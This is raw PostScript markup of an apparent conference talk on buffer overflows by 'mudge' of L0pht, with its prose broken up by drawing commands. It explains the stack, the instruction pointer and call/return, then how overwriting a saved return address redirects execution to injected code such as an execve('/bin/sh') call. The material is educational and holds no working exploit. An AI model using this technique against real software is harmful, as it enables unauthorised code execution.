126 (... wh) 125 SB 405 378 87 (at\222s) 86 SB 491 378 87 ( so ) 86 SB 150 436 28 (c) 27 SB 177 436 76 (ool) 75 SB 252 436 14 ( ) 11 SB 263 436 90 (abo) 89 SB 352 436 48 (ut) 47 SB 399 436 14 ( ) 11 SB 410 436 48 (th) 47 SB 457 436 56 (is ) 53 SB 510 436 17 (\() 16 SB 526 436 126 (aka...) 125 SB 651 436 14 ( ) 11 SB 150 495 28 (I ) 27 SB 177 495 93 (don) 92 SB 269 495 76 (\222t g) 75 SB 344 495 45 (et) 44 SB 388 495 93 ( it\)?) 92 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 712 380 69 (To ) 68 SB 780 380 306 (understand the ) 305 SB 1085 380 134 (import) 133 SB 1218 380 22 (a) 23 SB 1241 380 82 (nce ) 81 SB 1322 380 55 (of ) 54 SB 1376 380 72 (this) 73 SB 1449 380 13 ( ) 12 SB 1461 380 41 (it ) 40 SB 1501 380 156 (is neces) 157 SB 1658 380 96 (sary ) 95 SB 1753 380 166 (to under) 165 SB 1918 380 19 (s) 20 SB 1938 380 99 (tand ) 98 SB 2036 380 77 (a lit) 76 SB 2112 380 63 (tle ) 63 SB 712 438 198 (about the ) 197 SB 909 438 19 (s) 20 SB 929 438 31 (tr) 30 SB 959 438 180 (ucture of) 179 SB 1138 438 48 ( a ) 47 SB 1185 438 122 (\221C\222 pr) 121 SB 1306 438 141 (ogram ) 140 SB 1446 438 83 (whe) 84 SB 1530 438 38 (n ) 37 SB 1567 438 41 (it ) 40 SB 1607 438 33 (is) 34 SB 1641 438 13 ( ) 12 SB 1653 438 80 (run ) 79 SB 1732 438 22 (a) 23 SB 1755 438 63 (nd ) 62 SB 1817 438 55 (als) 56 SB 1873 438 38 (o ) 37 SB 1910 438 63 (a li) 62 SB 1972 438 201 (ttle about ) 200 SB 712 497 173 (how the ) 172 SB 884 497 130 (proces) 131 SB 1015 497 74 (sor ) 73 SB 1088 497 47 (de) 48 SB 1136 497 132 (als wit) 131 SB 1267 497 112 (h the ) 111 SB 1378 497 61 (ma) 62 SB 1440 497 121 (chine ) 120 SB 1560 497 94 (code) 95 SB 1655 497 13 ( ) 12 SB 1667 497 116 (benea) 117 SB 1784 497 52 (th ) 51 SB 1835 497 41 (it ) 40 SB 1875 497 48 ([fi) 47 SB 1922 497 144 (gure 1]) 143 SB 2065 497 13 (.) 13 SB 712 613 58 (Ne) 59 SB 771 613 25 (x) 24 SB 795 613 27 (t ) 26 SB 821 613 85 (one ) 84 SB 905 613 69 (nee) 70 SB 975 613 57 (ds ) 56 SB 1031 613 52 (to ) 51 SB 1082 613 114 (under) 113 SB 1195 613 19 (s) 20 SB 1215 613 99 (tand ) 98 SB 1313 613 99 (how ) 98 SB 1411 613 14 (t) 13 SB 1424 613 47 (he) 48 SB 1472 613 13 ( ) 11 SB 1483 613 97 (unde) 98 SB 1581 613 17 (r) 16 SB 1597 613 116 (lying ) 115 SB 1712 613 249 (architecture ) 248 SB 1960 613 115 (deals ) 114 SB 2074 613 102 (with ) 101 SB 712 672 74 (the ) 73 SB 785 672 230 (Instruction ) 229 SB 1014 672 145 (Pointer) 144 SB 1158 672 30 ( \() 29 SB 1187 672 116 (often ) 115 SB 1302 672 95 (refer) 94 SB 1396 672 77 (red ) 76 SB 1472 672 52 (to ) 51 SB 1523 672 41 (as) 42 SB 1565 672 13 ( ) 12 SB 1577 672 74 (the ) 73 SB 1650 672 112 (Progr) 111 SB 1761 672 74 (am ) 73 SB 1834 672 33 (C) 34 SB 1868 672 128 (ounter) 127 SB 1995 672 43 (\), ) 42 SB 2037 672 35 (a ) 34 SB 2071 672 70 (littl) 69 SB 2140 672 22 (e) 23 SB 2163 672 13 ( ) 12 SB 712 730 124 (about ) 122 SB 834 730 74 (the ) 72 SB 906 730 17 (r) 16 SB 922 730 80 (egis) 81 SB 1003 730 85 (ters ) 83 SB 1086 730 63 (on ) 60 SB 1146 730 74 (the ) 72 SB 1218 730 99 (chip ) 97 SB 1315 730 52 (in ) 49 SB 1364 730 91 (ques) 92 SB 1456 730 91 (tion ) 88 SB 1544 730 85 (and ) 83 SB 1627 730 110 (what ) 108 SB 1735 730 99 (they ) 97 SB 1832 730 17 (r) 16 SB 1848 730 182 (eference ) 180 SB 2028 730 34 ([f) 33 SB 2061 730 116 (igure ) 114 SB 712 788 55 (2].) 54 SB 712 905 91 (The ) 90 SB 802 905 58 (IP ) 57 SB 859 905 97 (regis) 98 SB 957 905 14 (t) 13 SB 970 905 22 (e) 23 SB 993 905 17 (r) 16 SB 1009 905 116 ( point) 115 SB 1124 905 19 (s) 20 SB 1144 905 13 ( ) 12 SB 1156 905 179 (to either ) 178 SB 1334 905 163 (the addr) 162 SB 1496 905 22 (e) 23 SB 1519 905 106 (ss of ) 105 SB 1624 905 173 (the next ) 172 SB 1796 905 58 (ins) 59 SB 1855 905 14 (t) 13 SB 1868 905 169 (ruction t) 168 SB 2036 905 98 (o be ) 98 SB 712 963 69 (exe) 70 SB 782 963 121 (cuted ) 120 SB 902 963 55 (or ) 54 SB 956 963 61 (the) 62 SB 1018 963 13 ( ) 12 SB 1030 963 149 (address) 150 SB 1180 963 13 ( ) 12 SB 1192 963 69 (of t) 68 SB 1260 963 47 (he) 48 SB 1308 963 13 ( ) 12 SB 1320 963 227 (instruction ) 226 SB 1546 963 22 (c) 23 SB 1569 963 42 (ur) 41 SB 1610 963 130 (rently ) 129 SB 1739 963 314 (being executed ) 314 SB 712 1022 238 (\(depending ) 237 SB 949 1022 113 (upon ) 112 SB 1061 1022 113 (how t) 112 SB 1173 1022 47 (he) 48 SB 1221 1022 13 ( ) 12 SB 1233 1022 188 (designers) 189 SB 1422 1022 13 ( ) 12 SB 1434 1022 68 (set ) 67 SB 1501 1022 122 (things) 123 SB 1624 1022 13 ( ) 12 SB 1636 1022 67 (up\)) 66 SB 1702 1022 26 (. ) 25 SB 1727 1022 70 (Thi) 69 SB 1796 1022 19 (s) 20 SB 1816 1022 13 ( ) 12 SB 1828 1022 60 (is t) 59 SB 1887 1022 47 (he) 48 SB 1935 1022 13 ( ) 12 SB 1947 1022 102 (crux ) 101 SB 2048 1022 42 (of) 41 SB 2089 1022 27 ( t) 26 SB 2115 1022 47 (he) 48 SB 2163 1022 13 ( ) 12 SB 712 1080 141 (matter ) 140 SB 852 1080 49 (at ) 47 SB 899 1080 47 (ha) 48 SB 947 1080 63 (nd.) 62 SB 1009 1080 13 ( ) 12 SB 1021 1080 17 (I) 16 SB 1037 1080 38 (n ) 37 SB 1074 1080 160 (general ) 159 SB 1233 1080 53 (ter) 52 SB 1285 1080 58 (ms) 59 SB 1344 1080 13 (,) 12 SB 1356 1080 13 ( ) 12 SB 1368 1080 74 (the ) 73 SB 1441 1080 124 (coder ) 122 SB 1563 1080 72 (doe) 73 SB 1636 1080 32 (s ) 31 SB 1667 1080 77 (not ) 75 SB 1742 1080 166 (directly ) 165 SB 1907 1080 107 (acces) 108 SB 2015 1080 32 (s ) 31 SB 2046 1080 74 (the ) 73 SB 2119 1080 17 (I) 16 SB 2135 1080 41 (P ) 40 SB 712 1138 176 (register. ) 175 SB 887 1138 119 (After ) 118 SB 1005 1138 66 (eac) 67 SB 1072 1138 38 (h ) 37 SB 1109 1138 227 (instruction ) 226 SB 1335 1138 33 (is) 34 SB 1369 1138 13 ( ) 12 SB 1381 1138 69 (exe) 70 SB 1451 1138 121 (cuted ) 120 SB 1571 1138 91 (the I) 90 SB 1661 1138 176 (P value i) 175 SB 1836 1138 19 (s) 20 SB 1856 1138 13 ( ) 12 SB 1868 1138 22 (a) 23 SB 1891 1138 39 (ut) 38 SB 1929 1138 158 (omatica) 159 SB 2088 1138 28 (ll) 27 SB 2115 1138 38 (y ) 38 SB 712 1197 312 (incremented to ) 311 SB 1023 1197 116 (point ) 115 SB 1138 1197 126 (to the ) 125 SB 1263 1197 130 (addres) 131 SB 1394 1197 74 (s of) 73 SB 1467 1197 87 ( the ) 86 SB 1553 1197 47 (ne) 48 SB 1601 1197 39 (xt) 38 SB 1639 1197 240 ( instruction ) 239 SB 1878 1197 34 ([f) 33 SB 1911 1197 158 (igure 3]) 157 SB 2068 1197 13 (.) 13 SB 712 1314 123 (Now, ) 122 SB 834 1314 83 (whe) 84 SB 918 1314 38 (n ) 37 SB 955 1314 120 (a call ) 119 SB 1074 1314 33 (is) 34 SB 1108 1314 13 ( ) 12 SB 1120 1314 108 (made) 109 SB 1229 1314 13 ( ) 12 SB 1241 1314 52 (in ) 51 SB 1292 1314 105 (your ) 104 SB 1396 1314 183 (program ) 182 SB 1578 1314 137 (the sys) 138 SB 1716 1314 88 (tem ) 87 SB 1803 1314 69 (nee) 70 SB 1873 1314 57 (ds ) 56 SB 1929 1314 176 (to know ) 175 SB 712 1372 187 (where to ) 186 SB 898 1372 80 (go f) 79 SB 977 1372 55 (or ) 54 SB 1031 1372 187 (the next i) 186 SB 1217 1372 44 (ns) 45 SB 1262 1372 31 (tr) 30 SB 1292 1372 47 (uc) 48 SB 1340 1372 14 (t) 13 SB 1353 1372 162 (ion and ) 161 SB 1514 1372 86 (how) 87 SB 1601 1372 13 ( ) 12 SB 1613 1372 52 (to ) 51 SB 1664 1372 47 (ge) 48 SB 1712 1372 14 (t) 13 SB 1725 1372 172 ( back to ) 171 SB 1896 1372 274 (the last place ) 274 SB 712 1430 41 (it ) 39 SB 751 1430 77 (was) 78 SB 829 1430 13 (.) 12 SB 841 1430 13 ( ) 12 SB 853 1430 31 (T) 30 SB 883 1430 60 (he ) 58 SB 941 1430 22 (c) 23 SB 964 1430 63 (all ) 61 SB 1025 1430 227 (instruction ) 225 SB 1250 1430 157 (usually ) 155 SB 1405 1430 19 (s) 20 SB 1425 1430 168 (pecifies ) 166 SB 1591 1430 74 (the ) 73 SB 1664 1430 121 (value ) 119 SB 1783 1430 116 (neede) 117 SB 1900 1430 38 (d ) 36 SB 1936 1430 52 (to ) 50 SB 1986 1430 60 (be ) 58 SB 2044 1430 94 (adde) 95 SB 2139 1430 38 (d ) 36 SB 712 1489 52 (to ) 51 SB 763 1489 74 (the ) 72 SB 835 1489 58 (IP ) 57 SB 892 1489 17 (f) 16 SB 908 1489 55 (or ) 53 SB 961 1489 74 (the ) 73 SB 1034 1489 130 (addres) 131 SB 1165 1489 32 (s ) 31 SB 1196 1489 42 (of) 41 SB 1237 1489 13 ( ) 12 SB 1249 1489 74 (the ) 73 SB 1322 1489 99 (next ) 97 SB 1419 1489 58 (ins) 59 SB 1478 1489 31 (tr) 30 SB 1508 1489 138 (uction ) 137 SB 1645 1489 52 (to ) 50 SB 1695 1489 60 (be ) 59 SB 1754 1489 91 (exec) 92 SB 1846 1489 99 (uted ) 97 SB 1943 1489 22 (a) 23 SB 1966 1489 25 (n) 24 SB 1990 1489 38 (d ) 37 SB 2027 1489 69 (pus) 70 SB 2097 1489 79 (hes ) 78 SB 712 1547 155 (the curr) 154 SB 866 1547 91 (ent I) 90 SB 956 1547 143 (P onto ) 142 SB 1098 1547 206 (the stack \() 205 SB 1303 1547 72 (this) 73 SB 1376 1547 13 ( ) 12 SB 1388 1547 33 (is) 34 SB 1422 1547 13 ( ) 12 SB 1434 1547 231 (oversimplif) 230 SB 1664 1547 36 (ie) 37 SB 1701 1547 38 (d ) 37 SB 1738 1547 41 (as) 42 SB 1780 1547 13 ( ) 12 SB 1792 1547 152 (there ar) 151 SB 1943 1547 22 (e) 23 SB 1966 1547 13 ( ) 12 SB 1978 1547 141 (nuance) 142 SB 2120 1547 32 (s ) 31 SB 712 1605 119 (betwe) 120 SB 832 1605 60 (en ) 59 SB 891 1605 155 (how dif) 154 SB 1045 1605 130 (ferent ) 129 SB 1174 1605 22 (a) 23 SB 1197 1605 17 (r) 16 SB 1213 1605 119 (chitec) 120 SB 1333 1605 14 (t) 13 SB 1346 1605 83 (ures) 84 SB 1430 1605 13 ( ) 12 SB 1442 1605 148 (and sys) 149 SB 1591 1605 203 (tems deal ) 202 SB 1793 1605 155 (with thi) 154 SB 1947 1605 19 (s) 20 SB 1967 1605 13 (.) 12 SB 1979 1605 26 (..) 25 SB 2004 1605 44 ( if) 43 SB 2047 1605 102 ( any-) 102 SB 712 1664 151 (one has) 152 SB 864 1664 13 ( ) 12 SB 876 1664 91 (ques) 92 SB 968 1664 14 (t) 13 SB 981 1664 83 (ions) 84 SB 1065 1664 13 ( ) 12 SB 1077 1664 334 (they can ask me ) 333 SB 1410 1664 22 (a) 23 SB 1433 1664 17 (f) 16 SB 1449 1664 66 (ter ) 65 SB 1514 1664 395 (the conference over) 394 SB 1908 1664 151 ( a beer\)) 150 SB 2058 1664 26 (. ) 25 SB 2083 1664 91 (The ) 90 SB 712 1722 133 (return ) 131 SB 843 1722 89 (instr) 88 SB 931 1722 47 (uc) 48 SB 979 1722 28 (ti) 27 SB 1006 1722 63 (on ) 62 SB 1068 1722 14 (i) 13 SB 1081 1722 38 (n ) 36 SB 1117 1722 61 (the) 62 SB 1179 1722 13 ( ) 11 SB 1190 1722 132 (called ) 130 SB 1320 1722 180 (function ) 178 SB 1498 1722 107 (pops ) 105 SB 1603 1722 74 (the ) 72 SB 1675 1722 19 (s) 20 SB 1695 1722 96 (tack ) 94 SB 1789 1722 121 (value ) 119 SB 1908 1722 47 (ba) 48 SB 1956 1722 60 (ck ) 58 SB 2014 1722 91 (into ) 89 SB 2103 1722 74 (the ) 72 SB 712 1780 58 (IP ) 57 SB 769 1780 69 (to r) 68 SB 837 1780 41 (es) 42 SB 879 1780 99 (ume ) 98 SB 977 1780 22 (e) 23 SB 1000 1780 185 (xecution ) 184 SB 1184 1780 123 (at the ) 122 SB 1306 1780 326 (next instruction ) 325 SB 1631 1780 105 (after ) 104 SB 1735 1780 159 (the call.) 158 SB 1893 1780 13 ( ) 13 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 150 1937 120 (Yeah) 119 SB 269 1937 115 (... so) 114 SB 383 1937 45 (? ) 44 SB 427 1937 72 (I\222m) 73 SB 500 1937 14 ( ) 14 SB 150 1995 31 (g) 30 SB 180 1995 62 (ett) 61 SB 241 1995 76 (ing) 75 SB 316 1995 76 ( bo) 75 SB 391 1995 19 (r) 20 SB 411 1995 28 (e) 27 SB 438 1995 73 (d...) 73 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 712 1939 116 (You r) 115 SB 827 1939 22 (e) 23 SB 850 1939 39 (m) 38 SB 888 1939 22 (e) 23 SB 911 1939 103 (mber) 102 SB 1013 1939 87 ( the ) 86 SB 1099 1939 19 (s) 20 SB 1119 1939 148 (tack in ) 147 SB 1266 1939 98 (figur) 97 SB 1363 1939 73 (e 1 ) 72 SB 1435 1939 119 (don\222t ) 118 SB 1553 1939 141 (you? T) 140 SB 1693 1939 58 (his) 59 SB 1752 1939 13 ( ) 12 SB 1764 1939 33 (is) 34 SB 1798 1939 13 ( ) 12 SB 1810 1939 188 (where thi) 187 SB 1997 1939 19 (s) 20 SB 2017 1939 13 ( ) 12 SB 2029 1939 115 (infor-) 114 SB 712 1997 166 (mation i) 165 SB 877 1997 19 (s) 20 SB 897 1997 13 ( ) 12 SB 909 1997 47 (be) 48 SB 957 1997 14 (i) 13 SB 970 1997 283 (ng stored and ) 282 SB 1252 1997 84 (retri) 83 SB 1335 1997 22 (e) 23 SB 1358 1997 85 (ved ) 84 SB 1442 1997 98 (from) 97 SB 1539 1997 26 (. ) 25 SB 1564 1997 47 (If ) 46 SB 1610 1997 19 (s) 20 SB 1630 1997 171 (omeone ) 170 SB 1800 1997 72 (doe) 73 SB 1873 1997 88 (sn\222t ) 87 SB 1960 1997 63 (do ) 62 SB 2022 1997 22 (c) 23 SB 2045 1997 42 (or) 41 SB 2086 1997 88 (rect ) 88 SB 712 2055 144 (bounds) 145 SB 857 2055 13 ( ) 12 SB 869 2055 91 (chec) 92 SB 961 2055 102 (king ) 101 SB 1062 2055 88 (you ) 87 SB 1149 2055 22 (c) 23 SB 1172 2055 60 (an ) 59 SB 1231 2055 166 (write all) 165 SB 1396 2055 183 ( the way ) 182 SB 1578 2055 98 (from) 97 SB 1675 2055 87 ( the ) 86 SB 1761 2055 47 (he) 48 SB 1809 2055 60 (ap,) 59 SB 1868 2055 69 ( thr) 68 SB 1936 2055 187 (ough the ) 186 SB 712 2114 94 (unus) 95 SB 807 2114 60 (ed ) 59 SB 866 2114 130 (addres) 131 SB 997 2114 142 (s space) 143 SB 1140 2114 13 ( ) 12 SB 1152 2114 48 (\(if) 47 SB 1199 2114 54 ( it ) 53 SB 1252 2114 80 (exis) 81 SB 1333 2114 46 (ts ) 45 SB 1378 2114 187 (on this ar) 186 SB 1564 2114 22 (c) 23 SB 1587 2114 53 (hit) 52 SB 1639 2114 22 (e) 23 SB 1662 2114 78 (ctur) 77 SB 1739 2114 137 (e\) and ) 136 SB 1875 2114 105 (into t) 104 SB 1979 2114 47 (he) 48 SB 2027 2114 13 ( ) 12 SB 2039 2114 19 (s) 20 SB 2059 2114 14 (t) 13 SB 2072 2114 22 (a) 23 SB 2095 2114 60 (ck.) 59 SB 2154 2114 13 ( ) 13 SB 712 2172 58 (He) 59 SB 771 2172 60 (ck,) 59 SB 830 2172 13 ( ) 11 SB 841 2172 88 (you ) 85 SB 926 2172 22 (c) 23 SB 949 2172 60 (an ) 57 SB 1006 2172 22 (e) 23 SB 1029 2172 85 (ven ) 82 SB 1111 2172 116 (write ) 114 SB 1225 2172 56 (thr) 55 SB 1280 2172 113 (ough ) 111 SB 1391 2172 74 (the ) 71 SB 1462 2172 19 (s) 20 SB 1482 2172 96 (tack ) 94 SB 1576 2172 31 (if) 30 SB 1606 2172 13 ( ) 11 SB 1617 2172 88 (you ) 86 SB 1703 2172 110 (want ) 107 SB 1810 2172 85 (and ) 83 SB 1893 2172 107 (have ) 105 SB 1998 2172 80 (fun ) 77 SB 2075 2172 102 (with ) 100 SB 712 2230 284 (the command ) 283 SB 995 2230 269 (line args and ) 268 SB 1263 2230 266 (environment ) 265 SB 1528 2230 47 (va) 48 SB 1576 2230 17 (r) 16 SB 1592 2230 116 (iables) 117 SB 1709 2230 13 (.) 12 SB 712 2347 77 (All ) 75 SB 787 2347 88 (you ) 86 SB 873 2347 107 (need ) 105 SB 978 2347 52 (to ) 49 SB 1027 2347 63 (do ) 61 SB 1088 2347 46 (is ) 44 SB 1132 2347 60 (be ) 58 SB 1190 2347 105 (cleve) 106 SB 1296 2347 17 (r) 16 SB 1312 2347 13 ( ) 11 SB 1323 2347 160 (enough ) 158 SB 1481 2347 52 (to ) 49 SB 1530 2347 72 (ove) 73 SB 1603 2347 17 (r) 16 SB 1619 2347 116 (write ) 114 SB 1733 2347 74 (the ) 72 SB 1805 2347 126 (saved ) 124 SB 1929 2347 45 (IP) 44 SB 1973 2347 13 ( ) 11 SB 1984 2347 88 (that ) 86 SB 2070 2347 46 (is ) 44 SB 2114 2347 63 (on ) 61 SB 712 2405 151 (the stac) 152 SB 864 2405 25 (k) 24 SB 888 2405 115 ( with ) 114 SB 1002 2405 248 (the location ) 247 SB 1249 2405 176 (that you ) 175 SB 1424 2405 58 (wa) 59 SB 1483 2405 39 (nt) 38 SB 1521 2405 65 ( to ) 64 SB 1585 2405 58 (IP ) 57 SB 1642 2405 116 (to poi) 115 SB 1757 2405 104 (nt to ) 103 SB 1860 2405 130 (upon r) 129 SB 1989 2405 22 (e) 23 SB 2012 2405 14 (t) 13 SB 2025 2405 93 (urn. ) 92 SB 712 2464 191 (This addr) 190 SB 902 2464 22 (e) 23 SB 925 2464 142 (ss will ) 141 SB 1066 2464 169 (presuma) 170 SB 1236 2464 39 (bl) 38 SB 1274 2464 198 (y contain ) 197 SB 1471 2464 61 (the) 62 SB 1533 2464 13 ( ) 12 SB 1545 2464 163 (opcodes) 164 SB 1709 2464 13 ( ) 12 SB 1721 2464 22 (a) 23 SB 1744 2464 25 (n) 24 SB 1768 2464 286 (d operands of ) 285 SB 2053 2464 74 (the ) 74 SB 712 2522 94 (code) 95 SB 807 2522 13 ( ) 12 SB 819 2522 163 (that you) 162 SB 981 2522 448 ( have constructed and ) 447 SB 1428 2522 126 (put at ) 125 SB 1553 2522 72 (this) 73 SB 1626 2522 13 ( ) 12 SB 1638 2522 149 (address) 150 SB 1788 2522 13 (.) 12 SB 1800 2522 80 ( Per) 79 SB 1879 2522 47 (ha) 48 SB 1927 2522 179 (ps some-) 179 SB 712 2580 116 (thing ) 115 SB 827 2580 86 (inge) 87 SB 914 2580 39 (ni) 38 SB 952 2580 69 (ous) 70 SB 1022 2580 13 ( ) 12 SB 1034 2580 226 (like execve) 227 SB 1261 2580 17 (\() 16 SB 1277 2580 180 (\223/bin/sh\224) 181 SB 1458 2580 13 (,) 12 SB 1470 2580 51 ( 0,) 50 SB 1520 2580 55 ( 0\)) 54 SB 1574 2580 40 ( / ) 39 SB 1613 2580 19 (s) 20 SB 1633 2580 25 (y) 24 SB 1657 2580 19 (s) 20 SB 1677 2580 139 (call\(59) 136 SB 1813 2580 219 (,\224/bin/sh\224, ) 218 SB 2031 2580 51 (0, ) 50 SB 2081 2580 69 (0\); ) 68 SB 712 2639 55 (or ) 54 SB 766 2639 107 (even ) 106 SB 872 2639 19 (s) 20 SB 892 2639 202 (omething ) 201 SB 1093 2639 118 (nasty ) 117 SB 1210 2639 88 (like ) 87 SB 1297 2639 74 (the ) 73 SB 1370 2639 61 (ma) 62 SB 1432 2639 121 (chine ) 120 SB 1552 2639 227 (instruction ) 226 SB 1778 2639 17 (f) 16 SB 1794 2639 55 (or ) 54 SB 1848 2639 98 (HLT) 97 SB 1945 2639 13 ( ) 12 SB 1957 2639 58 (\(as) 59 SB 2016 2639 160 (suming ) 159 SB 712 2697 162 (you are ) 161 SB 873 2697 66 (in t) 65 SB 938 2697 47 (he) 48 SB 986 2697 13 ( ) 12 SB 998 2697 144 (proper ) 143 SB 1141 2697 98 (ring\)) 97 SB 1238 2697 13 (.) 13 SB gr gr 1 #C statusdict begin /manualfeed false store end EJ RS %%PageTrailer %%PageResources: font Helvetica-Bold %%+ font Times-Bold %%+ font Times-Italic %%+ font Times-Roman %%Page: 4 4 %%PageResources: (atend) SS 0 0 25 11 798 1100 300 SM % Copyright (c) 1986-1995 Frame Technology Corporation. /FMcmyk 100 dict def /FmBD{bind def}bind def /FmLD{load def}FmBD /FMc { FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if 4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put }FmBD /setcmykcolor where { pop /sc where { pop /sc load 0 get /scignore eq { /FMsc /sc FmLD /sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known { FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse }FmBD } if } if } if mark { /S load dup 0 get /PenW eq { dup 1 get /sl load eq { dup 0 { PenW .75 sub sl } bind put 1 /exec load put } if } if } stopped cleartomark /FmX matrix defaultmatrix def /FmDC {transform FmX itransform cvi exch cvi exch} def /FmBx { dup 3 index lt {3 1 roll exch} if 1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if }FmBD /FmPD/cleartomark FmLD /FmPD2/cleartomark FmLD /FmPT/pop FmLD /FmPA{pop pop pop}FmBD systemdict /pdfmark known { /FmPD/pdfmark FmLD currentdistillerparams /CoreDistVersion get 2000 ge { /FmPD2/pdfmark FmLD /FmPA { mark exch /Dest exch 5 3 roll /View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD }FmBD } if } if 0 0 0 0.0 0.0 0.0 1.0 FMc gs gs gs 1 lc 1 lj 0 0 0 pC 0 1 SP gs 526 1 225 139 CB 225 139 M 525 0 1 PP S n gr gs 2026 1 225 1414 CB 225 1414 M 2025 0 1 PP S n gr gs 2026 1 225 2953 CB 225 2953 M 2025 0 1 PP S n gr 32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font 0 0 0 fC 2225 2969 25 (1) 25 SB gr 32 0 0 100 100 0 0 0 93 /Times-Italic /font11 ANSIFont font 787 428 67 (C) 63 SB 850 428 50 (o) 47 SB 897 428 72 (m) 68 SB 965 428 50 (p) 46 SB 1011 428 39 (r) 35 SB 1046 428 50 (o) 47 SB 1093 428 72 (m) 68 SB 1161 428 28 (i) 24 SB 1185 428 39 (s) 36 SB 1221 428 44 (e) 40 SB 1261 428 50 (d) 47 SB 1308 428 25 ( ) 21 SB 1329 428 33 (-) 29 SB 1358 428 25 ( ) 22 SB 1380 428 61 (B) 57 SB 1437 428 50 (u) 46 SB 1483 428 28 (f) 25 SB 1508 428 28 (f) 24 SB 1532 428 44 (e) 40 SB 1572 428 39 (r) 36 SB 1608 428 33 (-) 29 SB 787 553 72 (O) 69 SB 856 553 44 (v) 40 SB 896 553 44 (e) 41 SB 937 553 39 (r) 35 SB 972 553 28 (f) 24 SB 996 553 28 (l) 25 SB 1021 553 50 (o) 46 SB 1067 553 67 (w) 63 SB 1130 553 39 (s) 35 SB 1165 553 25 (,) 21 SB 1186 553 25 ( ) 22 SB 1208 553 28 (f) 24 SB 1232 553 39 (r) 35 SB 1267 553 50 (o) 46 SB 1313 553 72 (m) 69 SB 1382 553 25 ( ) 21 SB 1403 553 33 (I) 30 SB 1433 553 50 (n) 46 SB 1479 553 28 (t) 24 SB 1503 553 44 (e) 41 SB 1544 553 28 (l) 24 SB 1568 553 25 ( ) 21 SB 1589 553 28 (t) 24 SB 1613 553 50 (o) 47 SB 1660 553 25 ( ) 21 SB 787 678 50 (S) 47 SB 834 678 61 (P) 57 SB 891 678 61 (A) 57 SB 948 678 61 (R) 58 SB 1006 678 67 (C) 63 SB 1069 678 25 ( ) 21 SB 1090 678 61 (V) 57 SB 1147 678 44 (e) 41 SB 1188 678 39 (r) 35 SB 1223 678 39 (s) 35 SB 1258 678 28 (i) 25 SB 1283 678 50 (o) 46 SB 1329 678 50 (n) 46 SB 1375 678 25 ( ) 21 SB 1396 678 50 (8) 43 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 787 941 44 (m) 45 SB 832 941 31 (u) 30 SB 862 941 62 (dg) 61 SB 923 941 119 (e@l0) 118 SB 1041 941 79 (pht) 78 SB 1119 941 73 (.co) 72 SB 1191 941 44 (m) 45 SB 32 0 0 41 41 0 0 0 40 /Times-Bold /font9 ANSIFont font 787 1092 27 (T) 28 SB 815 1092 41 (he) 42 SB 857 1092 74 ( pur) 75 SB 932 1092 78 (pose) 79 SB 1011 1092 103 ( of thi) 104 SB 1115 1092 72 (s tal) 73 SB 1188 1092 44 (k i) 45 SB 1233 1092 140 (s to fam) 141 SB 1374 1092 22 (il) 23 SB 1397 1092 11 (i) 12 SB 1409 1092 21 (a) 20 SB 1429 1092 18 (r) 19 SB 1448 1092 29 (iz) 30 SB 1478 1092 28 (e ) 29 SB 787 1142 41 (pe) 42 SB 829 1142 73 (ople) 74 SB 903 1142 10 ( ) 8 SB 911 1142 41 (wi) 42 SB 953 1142 47 (th ) 45 SB 998 1142 110 (buffer) 111 SB 1109 1142 10 ( ) 8 SB 1117 1142 42 (ov) 41 SB 1158 1142 18 (e) 19 SB 1177 1142 43 (rfl) 44 SB 1221 1142 87 (ows. ) 85 SB 1306 1142 41 (W) 42 SB 1348 1142 68 (hat ) 66 SB 1414 1142 55 (the) 56 SB 1470 1142 21 (y) 20 SB 1490 1142 10 ( ) 8 SB 1498 1142 39 (ar) 40 SB 1538 1142 28 (e,) 29 SB 1567 1142 10 ( ) 8 SB 787 1192 84 (why ) 85 SB 872 1192 116 (they w) 117 SB 989 1192 21 (o) 20 SB 1009 1192 18 (r) 19 SB 1028 1192 100 (k and) 101 SB 1129 1192 206 ( how to app) 207 SB 1336 1192 111 (roach ) 112 SB 1448 1192 89 (them) 90 SB 1538 1192 10 (.) 10 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 225 1461 78 (Wh) 77 SB 302 1461 76 (at t) 75 SB 377 1461 104 (he h) 103 SB 480 1461 84 (eck) 83 SB 563 1461 112 ( is a ) 112 SB 225 1520 31 (b) 30 SB 255 1520 48 (uf) 47 SB 302 1520 165 (fer ove) 164 SB 466 1520 19 (r) 20 SB 486 1520 17 (f) 16 SB 502 1520 115 (low?) 114 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 787 1463 116 (A buf) 115 SB 902 1463 69 (fer ) 68 SB 970 1463 106 (overf) 105 SB 1075 1463 231 (low occurs ) 230 SB 1305 1463 36 (w) 37 SB 1342 1463 85 (hen ) 84 SB 1426 1463 60 (an ) 59 SB 1485 1463 86 (obje) 87 SB 1572 1463 49 (ct ) 48 SB 1620 1463 55 (of ) 54 SB 1674 1463 77 (size) 78 SB 1752 1463 13 ( ) 12 SB 1764 1463 53 (x+) 47 SB 1811 1463 38 (y ) 37 SB 1848 1463 189 (is placed ) 188 SB 2036 1463 91 (into ) 90 SB 2126 1463 22 (a) 23 SB 2149 1463 13 ( ) 12 SB 2161 1463 89 (con-) 89 SB 787 1522 169 (tainer of) 168 SB 955 1522 141 ( size x.) 140 SB 1095 1522 44 ( T) 43 SB 1138 1522 58 (his) 59 SB 1197 1522 13 ( ) 12 SB 1209 1522 44 (ca) 45 SB 1254 1522 38 (n ) 37 SB 1291 1522 209 (happen in ) 208 SB 1499 1522 463 (many situations when t) 462 SB 1961 1522 47 (he) 48 SB 2009 1522 13 ( ) 12 SB 2021 1522 109 (progr) 108 SB 2129 1522 22 (a) 23 SB 2152 1522 39 (m) 38 SB 2190 1522 17 (-) 17 SB 787 1580 91 (mer ) 90 SB 877 1580 72 (doe) 73 SB 950 1580 96 (s 